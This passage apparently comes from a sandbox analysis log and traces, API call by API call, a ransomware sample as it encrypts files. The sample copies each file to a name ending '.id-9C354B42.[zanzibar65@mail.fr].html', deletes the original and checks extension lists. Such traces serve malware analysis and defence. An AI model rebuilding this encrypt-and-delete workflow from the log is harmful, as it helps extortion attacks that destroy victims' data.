lpString2=".WMF") returned -1 [0061.401] lstrlenW (lpString=".7z") returned 3 [0061.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0061.401] lstrlenW (lpString=".dbf") returned 4 [0061.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0061.401] lstrlenW (lpString=".1cd") returned 4 [0061.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0061.401] lstrlenW (lpString=".jpg") returned 4 [0061.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.402] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2228) returned 1 [0061.402] CloseHandle (hObject=0x220) returned 1 [0061.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x20 [0061.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0061.402] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.402] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.402] GetLastError () returned 0x0 [0061.402] ReadFile (in: hFile=0x220, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x8b4, lpOverlapped=0x0) returned 1 [0061.404] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0061.405] ReadFile (in: hFile=0x220, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.405] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.405] SetEndOfFile (hFile=0x1ac) returned 1 [0061.405] CloseHandle (hObject=0x1ac) returned 1 [0061.405] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.405] SetEndOfFile (hFile=0x220) returned 1 [0061.406] CloseHandle (hObject=0x220) returned 1 [0061.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0061.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0061.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0061.406] lstrlenW (lpString=".doc") returned 4 [0061.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.406] lstrlenW (lpString=".docx") returned 5 [0061.406] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.406] lstrlenW (lpString=".pdf") returned 4 [0061.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.406] lstrlenW (lpString=".xls") returned 4 [0061.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.407] lstrlenW (lpString=".xlsx") returned 5 [0061.407] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.407] lstrlenW (lpString=".ppt") returned 4 [0061.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0061.407] lstrlenW (lpString=".zip") returned 4 [0061.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.407] lstrlenW (lpString=".rar") returned 4 [0061.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.407] lstrlenW (lpString=".bz2") returned 4 [0061.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.407] lstrlenW (lpString=".7z") returned 3 [0061.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0061.407] lstrlenW (lpString=".dbf") returned 4 [0061.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0061.407] lstrlenW (lpString=".1cd") returned 4 [0061.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0061.407] lstrlenW (lpString=".jpg") returned 4 [0061.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.407] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2300) returned 1 [0061.407] CloseHandle (hObject=0x220) returned 1 [0061.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x20 [0061.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0061.408] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.408] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.408] GetLastError () returned 0x0 [0061.408] ReadFile (in: hFile=0x220, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x8fc, lpOverlapped=0x0) returned 1 [0061.410] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x900, lpOverlapped=0x0) returned 1 [0061.410] ReadFile (in: hFile=0x220, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.410] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.411] SetEndOfFile (hFile=0x1ac) returned 1 [0061.411] CloseHandle (hObject=0x1ac) returned 1 [0061.411] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.411] SetEndOfFile (hFile=0x220) returned 1 [0061.411] CloseHandle (hObject=0x220) returned 1 [0061.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.412] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0061.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0061.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0061.412] lstrlenW (lpString=".doc") returned 4 [0061.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.412] lstrlenW (lpString=".docx") returned 5 [0061.412] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.412] lstrlenW (lpString=".pdf") returned 4 [0061.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.412] lstrlenW (lpString=".xls") returned 4 [0061.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.412] lstrlenW (lpString=".xlsx") returned 5 [0061.413] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.413] lstrlenW (lpString=".ppt") returned 4 [0061.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0061.413] lstrlenW (lpString=".zip") returned 4 [0061.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.413] lstrlenW (lpString=".rar") returned 4 [0061.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.413] lstrlenW (lpString=".bz2") returned 4 [0061.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.413] lstrlenW (lpString=".7z") returned 3 [0061.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0061.413] lstrlenW (lpString=".dbf") returned 4 [0061.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0061.413] lstrlenW (lpString=".1cd") returned 4 [0061.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0061.413] lstrlenW (lpString=".jpg") returned 4 [0061.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.413] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2300) returned 1 [0061.413] CloseHandle (hObject=0x220) returned 1 [0061.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x20 [0061.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0061.414] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.414] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.414] GetLastError () returned 0x0 [0061.414] ReadFile (in: hFile=0x220, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x8fc, lpOverlapped=0x0) returned 1 [0061.416] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x900, lpOverlapped=0x0) returned 1 [0061.417] ReadFile (in: hFile=0x220, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.417] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.417] SetEndOfFile (hFile=0x1ac) returned 1 [0061.417] CloseHandle (hObject=0x1ac) returned 1 [0061.417] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.417] SetEndOfFile (hFile=0x220) returned 1 [0061.418] CloseHandle (hObject=0x220) returned 1 [0061.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0061.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0061.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0061.418] lstrlenW (lpString=".doc") returned 4 [0061.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.418] lstrlenW (lpString=".docx") returned 5 [0061.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.418] lstrlenW (lpString=".pdf") returned 4 [0061.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.418] lstrlenW (lpString=".xls") returned 4 [0061.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.418] lstrlenW (lpString=".xlsx") returned 5 [0061.418] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.418] lstrlenW (lpString=".ppt") returned 4 [0061.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0061.419] lstrlenW (lpString=".zip") returned 4 [0061.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.419] lstrlenW (lpString=".rar") returned 4 [0061.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.419] lstrlenW (lpString=".bz2") returned 4 [0061.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.419] lstrlenW (lpString=".7z") returned 3 [0061.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0061.419] lstrlenW (lpString=".dbf") returned 4 [0061.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0061.419] lstrlenW (lpString=".1cd") returned 4 [0061.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0061.419] lstrlenW (lpString=".jpg") returned 4 [0061.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 Thread: id = 14 os_tid = 0x978 [0032.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10000) returned 0x3860480 [0032.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10000) returned 0x3870488 [0032.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270368 [0032.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x6) returned 0x2730c8 [0032.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270380 [0032.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x100000) returned 0x3b50020 [0032.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270398 [0032.749] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x270398, Size=0x20) returned 0x255cd0 [0032.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270398 [0032.749] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x270398, Size=0x20) returned 0x255cf8 [0032.750] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.750] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.750] Wow64DisableWow64FsRedirection (in: OldValue=0x2ffff58 | out: OldValue=0x2ffff58*=0x0) returned 1 [0032.750] lstrlenW (lpString="kernel32.dll") returned 12 [0032.750] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255cd0 | out: hHeap=0x220000) returned 1 [0032.750] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.750] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255cf8 | out: hHeap=0x220000) returned 1 [0032.750] Sleep (dwMilliseconds=0x64) [0032.931] Sleep (dwMilliseconds=0x64) [0033.170] lstrcmpiW (lpString1=".LOG2", lpString2=".html") returned 1 [0033.170] lstrlenW (lpString="BCD.LOG2") returned 8 [0033.170] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0033.272] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=0) returned 1 [0033.272] CloseHandle (hObject=0x160) returned 1 [0033.272] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.272] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.272] lstrlenW (lpString=".doc") returned 4 [0033.273] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0033.273] lstrlenW (lpString=".docx") returned 5 [0033.273] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0033.273] lstrlenW (lpString=".pdf") returned 4 [0033.273] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0033.273] lstrlenW (lpString=".xls") returned 4 [0033.273] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0033.273] lstrlenW (lpString=".xlsx") returned 5 [0033.273] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0033.273] lstrlenW (lpString=".ppt") returned 4 [0033.273] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0033.273] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.273] lstrlenW (lpString=".zip") returned 4 [0033.273] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0033.273] lstrlenW (lpString=".rar") returned 4 [0033.273] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0033.273] lstrlenW (lpString=".bz2") returned 4 [0033.273] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0033.273] lstrlenW (lpString=".7z") returned 3 [0033.273] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0033.273] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.273] lstrlenW (lpString=".dbf") returned 4 [0033.273] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0033.273] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.273] lstrlenW (lpString=".1cd") returned 4 [0033.273] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0033.273] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.273] lstrlenW (lpString=".jpg") returned 4 [0033.273] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0033.273] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.273] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.273] lstrlenW (lpString=".doc") returned 4 [0033.273] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0033.274] lstrlenW (lpString=".docx") returned 5 [0033.274] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0033.274] lstrlenW (lpString=".pdf") returned 4 [0033.274] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0033.274] lstrlenW (lpString=".xls") returned 4 [0033.274] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0033.274] lstrlenW (lpString=".xlsx") returned 5 [0033.274] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0033.274] lstrlenW (lpString=".ppt") returned 4 [0033.274] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0033.274] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.274] lstrlenW (lpString=".zip") returned 4 [0033.274] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0033.274] lstrlenW (lpString=".rar") returned 4 [0033.274] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0033.274] lstrlenW (lpString=".bz2") returned 4 [0033.274] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0033.274] lstrlenW (lpString=".7z") returned 3 [0033.274] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0033.274] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.274] lstrlenW (lpString=".dbf") returned 4 [0033.274] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0033.274] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.274] lstrlenW (lpString=".1cd") returned 4 [0033.274] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0033.274] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.274] lstrlenW (lpString=".jpg") returned 4 [0033.274] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0033.274] Sleep (dwMilliseconds=0x64) [0033.922] Sleep (dwMilliseconds=0x64) [0034.018] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0034.018] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0034.018] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.019] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=70224) returned 1 [0034.019] CloseHandle (hObject=0x178) returned 1 [0034.019] GetFileAttributesW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0034.019] GetFileAttributesW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.019] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.019] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0034.019] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0034.019] lstrlenW (lpString=".doc") returned 4 [0034.019] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.019] lstrlenW (lpString=".docx") returned 5 [0034.019] lstrcmpiW (lpString1=".docx", lpString2="e.mui") 